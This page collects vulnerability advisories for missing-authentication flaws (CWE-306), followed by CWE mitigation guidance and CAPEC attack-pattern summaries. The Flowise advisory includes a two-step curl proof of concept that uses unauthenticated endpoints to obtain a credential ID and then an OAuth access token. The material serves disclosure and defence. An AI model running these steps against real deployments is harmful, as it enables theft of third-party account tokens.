This vulnerability affects self-hosted deployments because public chatflows are commonly exposed to the internet and require unauthenticated access by design. Treating chatflowId as a secret does not mitigate the issue.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.0.13"
},
"package": {
"ecosystem": "npm",
"name": "flowise"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41273"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-16T21:52:46Z",
"nvd_published_at": "2026-04-23T20:16:15Z",
"severity": "HIGH"
},
"details": "### Summary\nFlowise contains an authentication bypass vulnerability that allows an unauthenticated attacker to obtain OAuth 2.0 access tokens associated with a public chatflow.\n\nBy accessing a public chatflow configuration endpoint, an attacker can retrieve internal workflow data, including OAuth credential identifiers, which can then be used to refresh and obtain valid OAuth 2.0 access tokens without authentication.\n\n### Details\nFlowise is designed to allow public chatflows to be accessed by unauthenticated end users via public URLs or embedded widgets. As a result, `chatflowId` values are intentionally exposed to unauthenticated clients and must not be treated as secrets.\n\nHowever, the endpoint `GET /api/v1/public-chatbotConfig/\u003cchatflowId\u003e` returns internal `flowData` without authentication. The returned `flowData` includes workflow node definitions containing OAuth credential identifiers (`credential` field).\n\nSeparately, the endpoint `POST /api/v1/oauth2-credential/refresh/\u003ccredentialId\u003e` allows OAuth. 2.0 tokens to be refreshed without authentication or authorization checks.\n\nBecause credential identifiers can be obtained from the unauthenticated public chatflow configuration endpoint, these two behaviors can be combined to allow unauthenticated OAuth 2.0 access token disclosure.\n\n### PoC\n**Prerequisites**\n- Self-hosted Flowise instance\n- A public chatflow configured with an OAuth 2.0 credential (e.g., Gmail OAuth2)\n\n#### Step 1: Obtain `chatflowId`\nThe `chatflowId` is exposed to unauthenticated users via public chatflow URLs, embedded widgets, or browser network requests when accessing a public chatflow.\n\nExample: `d37b9812-72c1-4c64-b152-665f307f755e`\n\n#### Step 2: Retrieve internal `flowData` without authentication\n\n```bash\ncurl -s \\\n http://localhost:3000/api/v1/public-chatbotConfig/d37b9812-72c1-4c64-b152-665f307f755e\n```\n\nThe response includes flowData containing an OAuth credential identifier, for example:\n\n```\n\"credential\": \"6efe0e20-ba6f-4fbb-9960-658feffa0542\"\n```\n\n#### Step 3: Refresh OAuth 2.0 token without authentication\n\n```bash\ncurl -X POST \\\n http://localhost:3000/api/v1/oauth2-credential/refresh/6efe0e20-ba6f-4fbb-9960-658feffa0542\n```\n\nThe response returns valid OAuth 2.0 access token data, including an `access_token`.\n\n### Impact\nAn unauthenticated attacker can obtain OAuth 2.0 access tokens for third-party services configured in Flowise, potentially leading to unauthorized data access, API abuse, or account compromise.\n\nThis vulnerability affects self-hosted deployments because public chatflows are commonly exposed to the internet and require unauthenticated access by design. Treating `chatflowId` as a secret does not mitigate the issue.",
"id": "GHSA-6f7g-v4pp-r667",
"modified": "2026-04-24T21:01:20Z",
"published": "2026-04-16T21:52:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-6f7g-v4pp-r667"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41273"
},
{
"type": "PACKAGE",
"url": "https://github.com/FlowiseAI/Flowise"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:H/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Flowise: Unauthenticated OAuth 2.0 Access Token Disclosure via Public Chatflow in Flowise"
}
GHSA-6F8W-F2R8-4FHV
Vulnerability from github – Published: 2025-02-08 18:34 – Updated: 2025-02-08 18:34IBM DevOps Deploy 8.0 through 8.0.1.4, 8.1 through 8.1.0.0 and IBM UrbanCode Deploy (UCD) 7.0 through 7.0.5.25, 7.1 through 7.1.2.21, 7.2 through 7.2.3.14 and 7.3 through 7.3.2 could allow an authenticated user to obtain sensitive information about other users on the system due to missing authorization for a function.
{
"affected": [],
"aliases": [
"CVE-2024-54176"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-08T17:15:21Z",
"severity": "MODERATE"
},
"details": "IBM DevOps Deploy 8.0 through 8.0.1.4, 8.1 through 8.1.0.0 and IBM UrbanCode Deploy (UCD) 7.0 through 7.0.5.25, 7.1 through 7.1.2.21, 7.2 through 7.2.3.14 and 7.3 through 7.3.2 could allow an authenticated user to obtain sensitive information about other users on the system due to missing authorization for a function.",
"id": "GHSA-6f8w-f2r8-4fhv",
"modified": "2025-02-08T18:34:42Z",
"published": "2025-02-08T18:34:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-54176"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7182840"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6FF3-JGXH-VFFJ
Vulnerability from github – Published: 2025-08-11 21:31 – Updated: 2025-08-11 23:09Mattermost Confluence Plugin version <1.5.0 fails to check the authorization of the user to the Mattermost instance which allows attackers to create a channel subscription without proper authorization via API call to the create channel subscription endpoint.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/mattermost/mattermost-plugin-confluence"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.5.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-44004"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": true,
"github_reviewed_at": "2025-08-11T23:09:14Z",
"nvd_published_at": "2025-08-11T19:15:27Z",
"severity": "HIGH"
},
"details": "Mattermost Confluence Plugin version \u003c1.5.0 fails to check the authorization of the user to the Mattermost instance which allows attackers to create a channel subscription without proper authorization via API call to the create channel subscription endpoint.",
"id": "GHSA-6ff3-jgxh-vffj",
"modified": "2025-08-11T23:09:14Z",
"published": "2025-08-11T21:31:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-44004"
},
{
"type": "PACKAGE",
"url": "https://github.com/mattermost/mattermost-plugin-confluence"
},
{
"type": "WEB",
"url": "https://mattermost.com/security-updates"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Mattermost Confluence Plugin is Missing Authentication for Critical Function"
}
GHSA-6FHX-RWXQ-VH8V
Vulnerability from github – Published: 2023-10-25 18:32 – Updated: 2023-11-06 15:30The vulnerability allows an unprivileged user with access to the subnet of the TPC-110W device to gain a root shell on the device itself abusing the lack of authentication of the ‘su’ binary file installed on the device that can be accessed through the ADB (Android Debug Bridge) protocol exposed on the network.
{
"affected": [],
"aliases": [
"CVE-2023-41255"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-10-25T18:17:30Z",
"severity": "HIGH"
},
"details": "The vulnerability allows an unprivileged user with access to the subnet of the TPC-110W device to gain a root shell on the device itself abusing the lack of authentication \nof the \u2018su\u2019 binary file installed on the device that can be accessed through the ADB (Android Debug Bridge) protocol exposed on the network.",
"id": "GHSA-6fhx-rwxq-vh8v",
"modified": "2023-11-06T15:30:29Z",
"published": "2023-10-25T18:32:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-41255"
},
{
"type": "WEB",
"url": "https://psirt.bosch.com/security-advisories/BOSCH-SA-175607.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
- Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability.
- Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port.
- In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
- Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks.
- In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
Mitigation MIT-4.5
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
Mitigation
When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].
CAPEC-12: Choosing Message Identifier
This pattern of attack is defined by the selection of messages distributed via multicast or public information channels that are intended for another client by determining the parameter value assigned to that client. This attack allows the adversary to gain access to potentially privileged information, and to possibly perpetrate other attacks through the distribution means by impersonation. If the channel/message being manipulated is an input rather than output mechanism for the system, (such as a command bus), this style of attack could be used to change the adversary's identifier to more a privileged one.
CAPEC-166: Force the System to Reset Values
An attacker forces the target into a previous state in order to leverage potential weaknesses in the target dependent upon a prior configuration or state-dependent factors. Even in cases where an attacker may not be able to directly control the configuration of the targeted application, they may be able to reset the configuration to a prior state since many applications implement reset functions.
CAPEC-216: Communication Channel Manipulation
An adversary manipulates a setting or parameter on communications channel in order to compromise its security. This can result in information exposure, insertion/removal of information from the communications stream, and/or potentially system compromise.
CAPEC-36: Using Unpublished Interfaces or Functionality
An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.
CAPEC-62: Cross Site Request Forgery
An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.